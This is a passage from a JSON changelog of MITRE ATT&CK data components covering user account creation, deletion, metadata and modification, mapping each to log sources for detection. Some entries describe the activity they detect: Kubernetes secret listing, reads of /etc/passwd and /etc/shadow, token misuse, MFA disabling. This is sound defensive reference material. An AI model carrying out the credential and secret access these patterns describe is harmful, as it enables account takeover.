\"azure:signinlogs\", \"channel\": \"SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"sts:GetFederationToken\"}, {\"name\": \"m365:unified\", \"channel\": \"Delegated permission grants without user login event\"}, {\"name\": \"saas:salesforce\", \"channel\": \"API login using access_token without login history\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRoleWithWebIdentity\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Operation=UserLogin\"}, {\"name\": \"esxi:auth\", \"channel\": \"interactive shell or SSH access preceding storage enumeration\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Successful login without expected MFA challenge\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Login success without MFA step\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"pam_authenticate, sshd\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log show --predicate 'eventMessage contains \\\"Authentication\\\"'\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"/var/log/vmware/vpxd.log\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Unusual Token Usage or Application Consent\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Failed and successful logins to network devices outside approved admin IP ranges\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"OperationName=SetDomainAuthentication OR Set-FederatedDomain\"}, {\"name\": \"network:auth\", \"channel\": \"repeated successful authentications with previously unknown accounts or anomalous password acceptance\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Sign-in with unfamiliar location/device + portal navigation\"}, {\"name\": \"m365:signinlogs\", \"channel\": \"UserLoginSuccess\"}, {\"name\": \"saas:salesforce\", \"channel\": \"Login\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Privileged login followed by destructive format command\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"admin login events\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Privileged login followed by destructive command sequence\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Login from newly created account\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of ssh, scp, or sftp using previously unseen credentials or keys\"}, {\"name\": \"m365:unified\", \"channel\": \"login using refresh_token with no preceding authentication context\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"API access without user login\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4769\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4625\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Interactive/Non-Interactive Sign-In\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AWS IAM: ListUsers, ListRoles\"}, {\"name\": \"gcp:workspaceaudit\", \"channel\": \"Token Generation via Domain Delegation\"}, {\"name\": \"m365:signinlogs\", \"channel\": \"Unusual sign-in from service principal to user mailbox\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"User credential prompt events without associated trusted installer package\"}, {\"name\": \"linux:auth\", \"channel\": \"sshd login\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"Accessed third-party credential management service\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Reset password or download key from portal\"}, {\"name\": \"linux:syslog\", \"channel\": \"SSH failed login\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Login failure / authorization denied\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"status = failure\"}, {\"name\": \"Okta:authn\", \"channel\": \"authentication_failure\"}, {\"name\": \"saas-app:auth\", \"channel\": \"login_failure\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"AAA, RADIUS, or TACACS authentication\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"authentication.k8s.io/v1beta1\"}, {\"name\": \"m365:exchange\", \"channel\": \"Logon failure\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"eventName=ConsoleLogin | eventType=AwsConsoleSignIn\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4625, 4624\"}, {\"name\": \"auditd:USER_LOGIN\", \"channel\": \"USER_AUTH\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Sign-in logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"auth\"}, {\"name\": \"m365:unified\", \"channel\": \"Sign-in logs\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ConsoleLogin or AssumeRole\"}, {\"name\": \"esxi:auth\", \"channel\": \"/var/log/auth.log\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"authentication logs\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"SigninSuccess\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4625, 4771, 4648\"}, {\"name\": \"linux:syslog\", \"channel\": \"Failed password for invalid user\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Login Window and Authd errors\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Failure Reason + UserPrincipalName\"}, {\"name\": \"saas:okta\", \"channel\": \"authentication_failure\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"AAA or TACACS authentication failures\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"Failed login\"}, {\"name\": \"m365:exchange\", \"channel\": \"FailedLogin\"}, {\"name\": \"saas:auth\", \"channel\": \"signin_failed\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"login with reused session token and mismatched user agent or IP\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"Access via OAuth credentials with unusual scopes or from anomalous IPs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"authentication & authorization\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"4624, 4625\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Sign-in activity\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser\"}, {\"name\": \"gcp:audit\", \"channel\": \"drive.activity\"}, {\"name\": \"gcp:audit\", \"channel\": \"login.event\"}, {\"name\": \"linux:syslog\", \"channel\": \"sshd[pid]: Failed password\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authd\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"login failed\"}, {\"name\": \"GCPAuditLogs:login.googleapis.com\", \"channel\": \"Failed sign-in events\"}, {\"name\": \"esxi:auth\", \"channel\": \"SSH session/login\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventID=4625\"}, {\"name\": \"NSM:Connections\", \"channel\": \"sshd or PAM logins\"}, {\"name\": \"saas:okta\", \"channel\": \"Sign-in logs / audit events\"}, {\"name\": \"gcp:audit\", \"channel\": \"Sign-in logs / audit events\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Sign-in logs / audit events\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"authentication.k8s.io\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4648\"}, {\"name\": \"linux:syslog\", \"channel\": \"authentication and authorization events during environmental validation phase\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.948000+00:00\", \"old_value\": \"2025-04-18 15:09:42.067000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:34.784000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0014", + "external_id": "DC0014" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Account Creation", + "description": "The initial establishment of a new user, service, or machine account within an operating system, cloud environment, or identity management system.\n\n*Data Collection Measures:*\n\n- Host-Based Logging\n - Windows Event Logs\n - Event ID 4720 \u2013 A new user account was created.\n - Event ID 4732/4735 \u2013 A user was added to a privileged group.\n - Event ID 4798 \u2013 Enumeration of user accounts.\n - Linux/macOS Authentication Logs\n - `/var/log/auth.log`, `/var/log/secure` \u2013 Logs `useradd`, `adduser`, `passwd`, and `groupmod` activities.\n - AuditD \u2013 Detects new account creation via PAM (`useradd`, `usermod`).\n - OSQuery \u2013 The `users` table tracks newly created accounts.\n- Cloud-Based Logging\n - Azure AD Logs\n - Azure AD Audit Logs \u2013 Tracks new user and service account creation.\n - Azure Graph API \u2013 Provides logs on new account provisioning.\n - AWS IAM & CloudTrail Logs\n - CreateUser, CreateRole \u2013 Tracks new IAM user creation.\n - AttachRolePolicy \u2013 Identifies privilege escalation via account creation.\n - Google Workspace & Office 365 Logs\n - Google Admin Console \u2013 Logs user creation in User Accounts API.\n - Microsoft 365 Unified Audit Log \u2013 Tracks new account provisioning.\n- Container & Network Account Creation Logs\n - Kubernetes Account Creation Logs\n - kubectl audit logs \u2013 Detects new service account provisioning.\n - GKE/Azure AKS Logs \u2013 Track new container service accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Security", + "channel": "EventCode=4720" + }, + { + "name": "azure:audit", + "channel": "Add user" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateUser" + }, + { + "name": "saas:zoom", + "channel": "New user created" + }, + { + "name": "saas:slack", + "channel": "admin.user.create" + }, + { + "name": "m365:unified", + "channel": "Add user" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4720, EventCode=4781" + }, + { + "name": "auditd:SYSCALL", + "channel": "adduser" + }, + { + "name": "docker:daemon", + "channel": "ExecCreate + usermod or useradd" + }, + { + "name": "auditd:SYSCALL", + "channel": "useradd or adduser executed" + }, + { + "name": "networkdevice:syslog", + "channel": "username privilege " + }, + { + "name": "saas:okta", + "channel": "user.lifecycle.create" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0014\", \"external_id\": \"DC0014\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4720\"}, {\"name\": \"azure:audit\", \"channel\": \"Add user\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateUser\"}, {\"name\": \"saas:zoom\", \"channel\": \"New user created\"}, {\"name\": \"saas:slack\", \"channel\": \"admin.user.create\"}, {\"name\": \"m365:unified\", \"channel\": \"Add user\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4720, EventCode=4781\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"adduser\"}, {\"name\": \"docker:daemon\", \"channel\": \"ExecCreate + usermod or useradd\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"useradd or adduser executed\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"username privilege \"}, {\"name\": \"saas:okta\", \"channel\": \"user.lifecycle.create\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.784000+00:00\", \"old_value\": \"2025-04-18 15:09:54.515000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:36.864000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0009", + "external_id": "DC0009" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Account Deletion", + "description": "The removal of a user, service, or machine account from an operating system, cloud identity management system, or directory service.\n\n*Data Collection Measures:*\n\n- Host-Based Logging\n - Windows Event Logs\n - Event ID 4726 \u2013 A user account was deleted.\n - Event ID 4733/4735 \u2013 A user was removed from a privileged group.\n - Event ID 1102 \u2013 Security log was cleared (potential cover-up).\n - Linux/macOS Authentication Logs\n - `/var/log/auth.log`, `/var/log/secure` \u2013 Logs `userdel`, `deluser`, `passwd -l`.\n - AuditD \u2013 Tracks account deletions via PAM events (`userdel`).\n - OSQuery \u2013 The `users` table can detect account removal.\n- Cloud-Based Logging\n - Azure AD Logs\n - Azure AD Audit Logs \u2013 Tracks user and service account deletions.\n - Azure Graph API \u2013 Monitors identity changes.\n - AWS IAM & CloudTrail Logs\n - `DeleteUser`, `DeleteRole` \u2013 Tracks IAM user deletion.\n - DetachRolePolicy \u2013 Identifies privilege revocation before deletion.\n - Google Workspace & Office 365 Logs\n - Google Admin Console \u2013 Logs user removal activities.\n - Microsoft 365 Unified Audit Log \u2013 Captures deleted accounts in Active Directory.\n- Container & Network Account Deletion Logs\n - Kubernetes Service Account Deletion\n - kubectl audit logs \u2013 Detects when service accounts are removed from pods.\n - GKE/Azure AKS Logs \u2013 Track containerized identity removals.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Security", + "channel": "EventCode=4726, 4657" + }, + { + "name": "esxi:hostd", + "channel": "method=RemoveUser or esxcli system account remove invocation" + }, + { + "name": "m365:unified", + "channel": "Remove-Mailbox, Set-Mailbox" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0009\", \"external_id\": \"DC0009\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4726, 4657\"}, {\"name\": \"esxi:hostd\", \"channel\": \"method=RemoveUser or esxcli system account remove invocation\"}, {\"name\": \"m365:unified\", \"channel\": \"Remove-Mailbox, Set-Mailbox\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.864000+00:00\", \"old_value\": \"2025-04-18 15:09:57.711000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:38.578000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0013", + "external_id": "DC0013" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Account Metadata", + "description": "Contextual data about an account, which may include a username, user ID, environmental data, etc.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Security", + "channel": "EventCode=4720, 4738" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4673" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRole" + }, + { + "name": "auditd:SYSCALL", + "channel": "open,openat,read" + }, + { + "name": "macos:MDM", + "channel": "profiles -P|getaccountpolicies" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetAccountPasswordPolicy" + }, + { + "name": "azure:audit", + "channel": "operation contains 'Get*Password*Policy' OR 'List*Authentication*Policy' OR 'Get-ADDefaultDomainPasswordPolicy'" + }, + { + "name": "m365:unified", + "channel": "Workload=AzureActiveDirectory OR Exchange AND (Operation=Cmdlet AND Parameters contains 'Password' AND (CmdletName='Get-*' OR CmdletName='Get-OrganizationConfig'))" + }, + { + "name": "saas:auth", + "channel": "Refresh token issuance or refresh token usage from new IPs or user agents" + }, + { + "name": "gcp:audit", + "channel": "Directory API Access: users.list or groups.list" + }, + { + "name": "CloudTrail:GetCallerIdentity", + "channel": "GetCallerIdentity" + }, + { + "name": "vpxd.log", + "channel": "vCenter Management" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of user account with UID <500" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4674" + }, + { + "name": "windows:osquery", + "channel": "User enumeration with creation/last modified timestamps" + }, + { + "name": "linux:osquery", + "channel": "Listing of /etc/passwd and /etc/shadow metadata" + }, + { + "name": "saas:okta", + "channel": "User lifecycle events" + }, + { + "name": "Microsoft Entra ID Audit Logs", + "channel": "RoleManagement.Read.Directory or Directory.Read.All" + }, + { + "name": "azure:activity", + "channel": "Azure CLI Operation: Microsoft.Graph/users/read" + }, + { + "name": "gcp:audit", + "channel": "IAM API call: serviceAccounts.list or projects.getIamPolicy" + }, + { + "name": "Microsoft Graph API Logs", + "channel": "users.list, directoryObjects.getByIds" + }, + { + "name": "Defender for Identity", + "channel": "Suspicious Enumeration of Cloud Directory" + }, + { + "name": "Google Admin Audit", + "channel": "users.list, groups.list" + }, + { + "name": "AWS:CloudTrail", + "channel": "PassRole" + }, + { + "name": "gcp:iam", + "channel": "PrincipalEmail with serviceAccountTokenCreator impersonating new identity" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRole: Discovery actions tied to assumed identities outside of normal context" + }, + { + "name": "saas:okta", + "channel": "User Enumeration Events" + }, + { + "name": "gcp:audit", + "channel": "Directory API Access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0013\", \"external_id\": \"DC0013\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4720, 4738\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4673\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRole\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open,openat,read\"}, {\"name\": \"macos:MDM\", \"channel\": \"profiles -P|getaccountpolicies\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetAccountPasswordPolicy\"}, {\"name\": \"azure:audit\", \"channel\": \"operation contains 'Get*Password*Policy' OR 'List*Authentication*Policy' OR 'Get-ADDefaultDomainPasswordPolicy'\"}, {\"name\": \"m365:unified\", \"channel\": \"Workload=AzureActiveDirectory OR Exchange AND (Operation=Cmdlet AND Parameters contains 'Password' AND (CmdletName='Get-*' OR CmdletName='Get-OrganizationConfig'))\"}, {\"name\": \"saas:auth\", \"channel\": \"Refresh token issuance or refresh token usage from new IPs or user agents\"}, {\"name\": \"gcp:audit\", \"channel\": \"Directory API Access: users.list or groups.list\"}, {\"name\": \"CloudTrail:GetCallerIdentity\", \"channel\": \"GetCallerIdentity\"}, {\"name\": \"vpxd.log\", \"channel\": \"vCenter Management\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of user account with UID <500\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4674\"}, {\"name\": \"windows:osquery\", \"channel\": \"User enumeration with creation/last modified timestamps\"}, {\"name\": \"linux:osquery\", \"channel\": \"Listing of /etc/passwd and /etc/shadow metadata\"}, {\"name\": \"saas:okta\", \"channel\": \"User lifecycle events\"}, {\"name\": \"Microsoft Entra ID Audit Logs\", \"channel\": \"RoleManagement.Read.Directory or Directory.Read.All\"}, {\"name\": \"azure:activity\", \"channel\": \"Azure CLI Operation: Microsoft.Graph/users/read\"}, {\"name\": \"gcp:audit\", \"channel\": \"IAM API call: serviceAccounts.list or projects.getIamPolicy\"}, {\"name\": \"Microsoft Graph API Logs\", \"channel\": \"users.list, directoryObjects.getByIds\"}, {\"name\": \"Defender for Identity\", \"channel\": \"Suspicious Enumeration of Cloud Directory\"}, {\"name\": \"Google Admin Audit\", \"channel\": \"users.list, groups.list\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"PassRole\"}, {\"name\": \"gcp:iam\", \"channel\": \"PrincipalEmail with serviceAccountTokenCreator impersonating new identity\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRole: Discovery actions tied to assumed identities outside of normal context\"}, {\"name\": \"saas:okta\", \"channel\": \"User Enumeration Events\"}, {\"name\": \"gcp:audit\", \"channel\": \"Directory API Access\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.578000+00:00\", \"old_value\": \"2025-04-25 14:49:17.060000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:36.735000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0010", + "external_id": "DC0010" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Account Modification", + "description": "Changes made to an existing user, service, or machine account, including alterations to attributes, permissions, roles, authentication methods, or group memberships.\n\n*Data Collection Measures:*\n\n- Host-Based Logging\n - Windows Event Logs\n - Event ID 4738 \u2013 A user account was changed.\n - Event ID 4725 \u2013 A user account was disabled.\n - Event ID 4724 \u2013 An attempt was made to reset an account's password.\n - Event ID 4767 \u2013 A user account was unlocked.\n - Linux/macOS Authentication Logs\n - `/var/log/auth.log`, `/var/log/secure` \u2013 Tracks account modifications (`usermod`, `chage`, `passwd`).\n - AuditD \u2013 Monitors account changes (`useradd`, `usermod`, `gpasswd`).\n - OSQuery \u2013 Queries the `users` table for recent modifications.\n- Cloud-Based Logging\n - Azure AD Logs\n - Azure AD Audit Logs \u2013 Tracks modifications to users and security groups.\n - Azure Graph API \u2013 Captures changes to authentication policies and MFA settings.\n - AWS IAM & CloudTrail Logs\n - `ModifyUser`, `UpdateLoginProfile` \u2013 Captures changes to IAM user attributes.\n - `AttachUserPolicy`, `AddUserToGroup` \u2013 Detects policy and group modifications.\n - Google Workspace & Office 365 Logs\n - Google Admin Console \u2013 Logs account changes, role modifications, and group membership updates.\n - Microsoft 365 Unified Audit Log \u2013 Captures modifications to security settings and privileged account changes.\n- Container & Network Account Modification Logs\n - Kubernetes Service Account Changes\n - kubectl audit logs \u2013 Detects service account modifications in Kubernetes clusters.\n - GKE/Azure AKS Logs \u2013 Monitors role and permission changes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "azure:audit", + "channel": "Operation IN (\"Add device\", \"Add registered users to device\", \"Add registered owner to device\")" + }, + { + "name": "WinEventLog:DirectoryService", + "channel": "EventID 5136" + }, + { + "name": "linux:syslog", + "channel": "sudo or su access prior to content change" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4738, 4728, 4670" + }, + { + "name": "auditd:SYSCALL", + "channel": "usermod, groupmod, passwd" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.accountsd, com.apple.opendirectoryd" + }, + { + "name": "saas:okta", + "channel": "User Attribute Modified / Role Assignment Changed" + }, + { + "name": "m365:unified", + "channel": "Admin Activity > Role Change or Sharing Change" + }, + { + "name": "gcp:audit", + "channel": "Admin Activity > Role Change or Sharing Change" + }, + { + "name": "m365:unified", + "channel": "Set-ADUser OR Set-ADAccountControl" + }, + { + "name": "AWS:CloudTrail", + "channel": "UpdateLoginProfile" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4723, 4724, 4726, 4740" + }, + { + "name": "saas:okta", + "channel": "user.lifecycle.delete, user.account.lock" + }, + { + "name": "m365:unified", + "channel": "User excluded from MFA or MFA method registered" + }, + { + "name": "saas:zoom", + "channel": "DisableMFA or RegisterNewFactor" + }, + { + "name": "AWS:CloudTrail", + "channel": "AttachUserPolicy, CreatePolicyVersion, PutRolePolicy" + }, + { + "name": "gcp:audit", + "channel": "google.iam.admin.v1.RoleAssignment" + }, + { + "name": "m365:audit", + "channel": "Add member to role, Add app role assignment" + }, + { + "name": "Okta:SystemLog", + "channel": "user.account.privilege.grant" + }, + { + "name": "m365:unified", + "channel": "Add member to role, Set-Mailbox" + }, + { + "name": "m365:unified", + "channel": "Set-MailboxAuditBypassAssociation or disabling Advanced Auditing" + }, + { + "name": "m365:unified", + "channel": "New agent registration by non-admin user" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4704" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4728, 4729, 4732, 4733, 4756, 4757" + }, + { + "name": "auditd:SYSCALL", + "channel": "SYSCALL for usermod or /etc/group file modification" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution or directory service changes" + }, + { + "name": "azure:policy", + "channel": "DisableMfaPolicy or change to ConditionalAccess rules" + }, + { + "name": "azure:audit", + "channel": "Add member to role" + }, + { + "name": "AWS:CloudTrail", + "channel": "AttachUserPolicy" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateAccessKey" + }, + { + "name": "azure:signinLogs", + "channel": "unusual role assumption or elevation path" + }, + { + "name": "saas:okta", + "channel": "admin role granted outside approved workflows" + }, + { + "name": "AWS:CloudTrail", + "channel": "role privilege expansion detected" + }, + { + "name": "m365:unified", + "channel": "Add-MailboxPermission, UpdateFolderPermissions" + }, + { + "name": "gcp:audit", + "channel": "Set Gmail Delegation" + }, + { + "name": "auditd:SYSCALL", + "channel": "usermod, or account rename system calls" + }, + { + "name": "azure:audit", + "channel": "Rename user" + }, + { + "name": "m365:unified", + "channel": "Set-Mailbox, Set-InboxRule, Set-MailboxFolderPermission" + }, + { + "name": "azure:audit", + "channel": "Add service principal credentials, app password added, app role assignment" + }, + { + "name": "gcp:audit", + "channel": "iam.serviceAccounts.keys.create, os-login.sshPublicKeys.add" + }, + { + "name": "gcp:audit", + "channel": "API Key Created, OAuth Client Registered" + }, + { + "name": "kubernetes:audit", + "channel": "create or update events for RoleBinding or ClusterRoleBinding objects" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0010\", \"external_id\": \"DC0010\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"azure:audit\", \"channel\": \"Operation IN (\\\"Add device\\\", \\\"Add registered users to device\\\", \\\"Add registered owner to device\\\")\"}, {\"name\": \"WinEventLog:DirectoryService\", \"channel\": \"EventID 5136\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo or su access prior to content change\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4738, 4728, 4670\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"usermod, groupmod, passwd\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.accountsd, com.apple.opendirectoryd\"}, {\"name\": \"saas:okta\", \"channel\": \"User Attribute Modified / Role Assignment Changed\"}, {\"name\": \"m365:unified\", \"channel\": \"Admin Activity > Role Change or Sharing Change\"}, {\"name\": \"gcp:audit\", \"channel\": \"Admin Activity > Role Change or Sharing Change\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-ADUser OR Set-ADAccountControl\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"UpdateLoginProfile\"}, {\"name\": \"WinEventLog:Security\", \"channel\": 